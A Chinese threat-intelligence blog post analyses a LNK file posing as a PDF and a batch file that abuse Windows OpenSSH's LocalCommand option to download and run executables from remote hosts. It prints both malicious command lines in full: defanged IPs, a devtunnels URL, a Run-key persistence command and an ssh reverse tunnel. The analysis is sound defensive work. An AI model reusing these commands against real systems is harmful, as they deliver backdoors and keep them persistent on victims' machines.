今天早上看到研究人员发布了一个有趣的文件:"christmas_slab.pdf.lnk"(https://www.virustotal.com/gui/file/8bd210b33340ee5cdd9031370eed472fcc7cae566752e39408f699644daf8494/details
)。快捷方式文件(.lnk)是在受害者电脑上执行恶意程序的经典手法,但这次使用的技术很有意思。
微软现在已经为 Windows 增加了 SSH 支持。
由于现在许多电脑都已经支持 ssh,攻击者也找到了一个利用 SSH(准确地说是 SCP)协议传递恶意内容的新方法。这正是今天这个 LNK 文件所使用的技术:
remnux@remnux:/MalwareZoo/20241220$ exiftool christmas_slab.pdf.lnk
ExifTool Version Number : 12.76
File Name : christmas_slab.pdf.lnk
Directory : .
File Size : 1992 bytes
File Modification Date/Time : 2024:12:20 05:39:50-05:00
File Access Date/Time : 2024:12:20 05:39:50-05:00
File Inode Change Date/Time : 2024:12:20 05:39:50-05:00
File Permissions : -rwx------
File Type : LNK
File Type Extension : lnk
MIME Type : application/octet-stream
Flags : IDList, LinkInfo, RelativePath, WorkingDir, CommandArgs, Unicode, TargetMetadata
File Attributes : Archive
Create Date : 2024:10:09 05:37:10-04:00
Access Date : 2024:11:05 07:47:23-05:00
Modify Date : 2024:10:09 05:37:10-04:00
Target File Size : 1243648
Icon Index : (none)
Run Window : Normal
Hot Key : (none)
Target File DOS Name : ssh.exe
Drive Type : Fixed Disk
Drive Serial Number : 280C-1822
Volume Label :
Local Base Path : C:\Windows\System32\OpenSSH\ssh.exe
Relative Path : ..\..\..\Windows\System32\OpenSSH\ssh.exe
Working Directory : C:\Program Files (x86)\Microsoft\Edge\Application
Command Line Arguments : -o "PermitLocalCommand=yes" -o "StrictHostKeyChecking=no" -o "LocalCommand=scp root@17[.]43[.]12[.]31:/home/revenge/christmas-sale.exe c:\users\public\. && c:\users\public\christmas-sale.exe" revenge@17[.]43[.]12[.]31
Machine ID : christmas-destr
这段命令是一条 SSH 命令,它结合了一些选项和本地命令,用于连接到远程服务器并执行特定的操作。以下是详细解释:
命令结构:
ssh -o "PermitLocalCommand=yes" -o "StrictHostKeyChecking=no" -o "LocalCommand=scp root@17[.]43[.]12[.]31:/home/revenge/christmas-sale.exe c:\users\public\. && c:\users\public\christmas-sale.exe" revenge@17[.]43[.]12[.]31
参数逐步解析:
-
ssh
SSH 客户端命令,用于连接远程主机。 -
-o
用于设置 SSH 配置选项。可以多次使用-o
来指定多个选项。 -
PermitLocalCommand=yes
-
启用 SSH 的本地命令功能。 -
在会话建立后,允许运行配置中定义的 LocalCommand
。 -
StrictHostKeyChecking=no
-
禁用主机密钥检查。 -
当连接到新的远程主机时,无需用户手动确认密钥(潜在安全风险)。 -
适用于自动化脚本场景,但不推荐用于安全环境。 -
LocalCommand=scp root@17[.]43[.]12[.]31:/home/revenge/christmas-sale.exe c:\users\public\. && c:\users\public\christmas-sale.exe
-
使用 scp
从远程主机17.43.12.31
的/home/revenge/christmas-sale.exe
路径将文件复制到本地路径c:userspublic
。 -
然后执行刚下载的文件 c:userspublicchristmas-sale.exe
。 -
定义在 SSH 会话建立后本地执行的命令。这里的命令做了两件事: -
revenge@17[.]43[.]12[.]31
-
revenge
是 SSH 用户名。 -
17.43.12.31
是目标主机的 IP 地址(注意,此处使用[.]
是为了防止直接解析或被识别为 URL)。 -
目标主机的 SSH 登录信息:
流程总结:
-
SSH 连接到远程主机 17.43.12.31
,使用用户名revenge
。 -
禁用主机密钥检查以避免交互式确认。 -
启用 PermitLocalCommand
,在会话建立后执行本地命令: -
从远程主机下载文件 christmas-sale.exe
到本地路径。 -
执行下载的文件。
安全性注意:
-
StrictHostKeyChecking=no
-
关闭主机密钥检查可能导致 MITM(中间人攻击)风险。 -
自动执行文件 -
执行从远程主机下载的可执行文件存在极高风险,可能是恶意代码。
这个 LNK 文件会启动 ssh.exe,然后传输并执行一个 PE 文件。启动后,同样的 IP 地址和用户名会作为参数传递给恶意程序。可惜的是,SSH 服务器已经下线了,我没能获取到这个文件。
另外一个可疑之处是,这个 IP 属于苹果公司:
NetRange: 17.0.0.0 - 17.255.255.255
CIDR: 17.0.0.0/8
NetName: APPLE-WWNET
NetHandle: NET-17-0-0-0-1
Parent: ()
NetType: Direct Allocation
OriginAS:
Organization: Apple Inc. (APPLEC-1-Z)
RegDate: 1990-04-16
Updated: 2023-11-15
Comment: Geofeed https://ip-geolocation.apple.com
Ref: https://rdap.arin.net/registry/ip/17.0.0.0
研究人员还发布了另外一个关于ssh恶意文件
这是一个 Windows 批处理文件(SHA256:3172eb8283a3e82384e006458265b60001ba68c7982fda1b81053705496a999c)(https://www.virustotal.com/gui/file/3172eb8283a3e82384e006458265b60001ba68c7982fda1b81053705496a999c/details
)],在 Virustotal 上的检出率很低。这个文件很小:
@echo off
pushd "%~dp0"
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "%~dp0start.vbs" /f > nul
C:\Windows\System32\OpenSSH\ssh.exe -o "StrictHostKeyChecking=no" -o "PermitLocalCommand=yes" -o "LocalCommand=curl -L -o %temp%\file1.exe hxxps://vdch79w0-8000[.]inc1[.]devtunnels[.]ms/Ghost.exe && %temp%\file1.exe" -R 5555 -N -f sozina@64[.]227[.]161[.]158
除了用于实现持久化的注册表命令外,这个脚本就是一个单行命令,用来在受害者电脑上部署后门。它是如何运作的呢?
这段命令使用 Windows 下的 OpenSSH 客户端执行 SSH 连接,并结合选项和本地命令完成一系列操作。以下是详细解析每个部分的含义和作用:
命令结构:
C:\Windows\System32\OpenSSH\ssh.exe -o "StrictHostKeyChecking=no" -o "PermitLocalCommand=yes" -o "LocalCommand=curl -L -o %temp%\file1.exe hxxps://vdch79w0-8000[.]inc1[.]devtunnels[.]ms/Ghost.exe && %temp%\file1.exe" -R 5555 -N -f sozina@64[.]227[.]161[.]158
参数逐步解析:
1. C:\Windows\System32\OpenSSH\ssh.exe
-
指定 Windows 系统中 OpenSSH 客户端的路径。 -
用于执行 SSH 连接。
2. -o
-
SSH 配置选项。可以多次使用 -o
指定不同的选项。
3. StrictHostKeyChecking=no
-
禁用主机密钥检查。 -
当连接到新主机时,不会提示用户确认密钥,避免交互输入。 -
风险:可能导致连接到恶意主机,适合自动化但不推荐用于生产环境。
4. PermitLocalCommand=yes
-
启用 SSH 的本地命令功能。 -
允许在建立连接后执行配置中指定的 LocalCommand
。
5. LocalCommand=curl -L -o %temp%\file1.exe hxxps://vdch79w0-8000[.]inc1[.]devtunnels[.]ms/Ghost.exe && %temp%\file1.exe
-
定义本地命令,分为两步: -
&& %temp%file1.exe
:下载完成后立即运行。 -
-L
:跟随重定向。 -
-o %temp%file1.exe
:将下载的内容保存为临时文件%temp%file1.exe
。 -
hxxps://vdch79w0-8000[.]inc1[.]devtunnels[.]ms/Ghost.exe
:远程 URL(使用hxxps
代替https
是为了防止意外访问,[.]
替代.
是为了绕过检测)。 -
使用 curl
下载文件: -
执行下载的文件:
6. -R 5555
-
开启反向隧道,将远程主机的 5555 端口绑定到本地。 -
允许远程主机通过绑定的端口访问本地服务。 -
用法:此选项通常用于 NAT 穿透或反向连接。
7. -N
-
不执行远程命令,仅进行端口转发。 -
SSH 会话只用作通道,不运行 shell。
8. -f
-
以后台模式运行 SSH。 -
会在验证完成后将 SSH 会话转入后台,便于继续操作。
9. sozina@64[.]227[.]161[.]158
-
目标 SSH 用户名和主机: -
sozina
:远程主机的用户名。 -
64.227.161.158
:远程主机 IP 地址([.]
用于绕过检测)。
流程总结:
-
连接到远程主机 64.227.161.158
,使用用户sozina
。 -
禁用主机密钥检查,允许自动连接。 -
启用本地命令功能,执行本地命令: -
使用 curl
从指定 URL 下载Ghost.exe
到临时目录,并运行。 -
开启反向隧道,将远程的 5555 端口绑定到本地。 -
SSH 会话不会执行远程命令,仅用于端口转发。 -
连接建立后将会话转入后台。
安全性分析:
-
StrictHostKeyChecking=no
-
存在安全风险,可能连接到伪装的主机。 -
下载并执行文件 -
通过 curl
下载并立即运行的行为可能用于分发恶意软件。 -
文件来源( Ghost.exe
)需要验证其可信度。 -
反向隧道 -
反向隧道可能被用于绕过防火墙,提供对本地服务的访问,需警惕数据泄露或滥用。
值得注意的是,恶意可执行文件是通过 devtunnels.ms URL 传递的。这个域名是一个主要通过 Visual Studio 提供的功能("Dev Tunnels"(https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/overview
)])。它允许开发者在开发过程中安全地将本地主机端口暴露到互联网上,这样远程客户端就可以访问和测试本地服务。这可以说是微软版本的 ngrok或者 frp。
主机目前仍然在线,但是 "sozina" 账号已经无法使用,Dev Tunnel URL 也是如此。研究人员猜测 Ghost.exe 是另一个远控木马。
原文始发于微信公众号(独眼情报):使用 ssh 投递恶意文件的骚操作
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论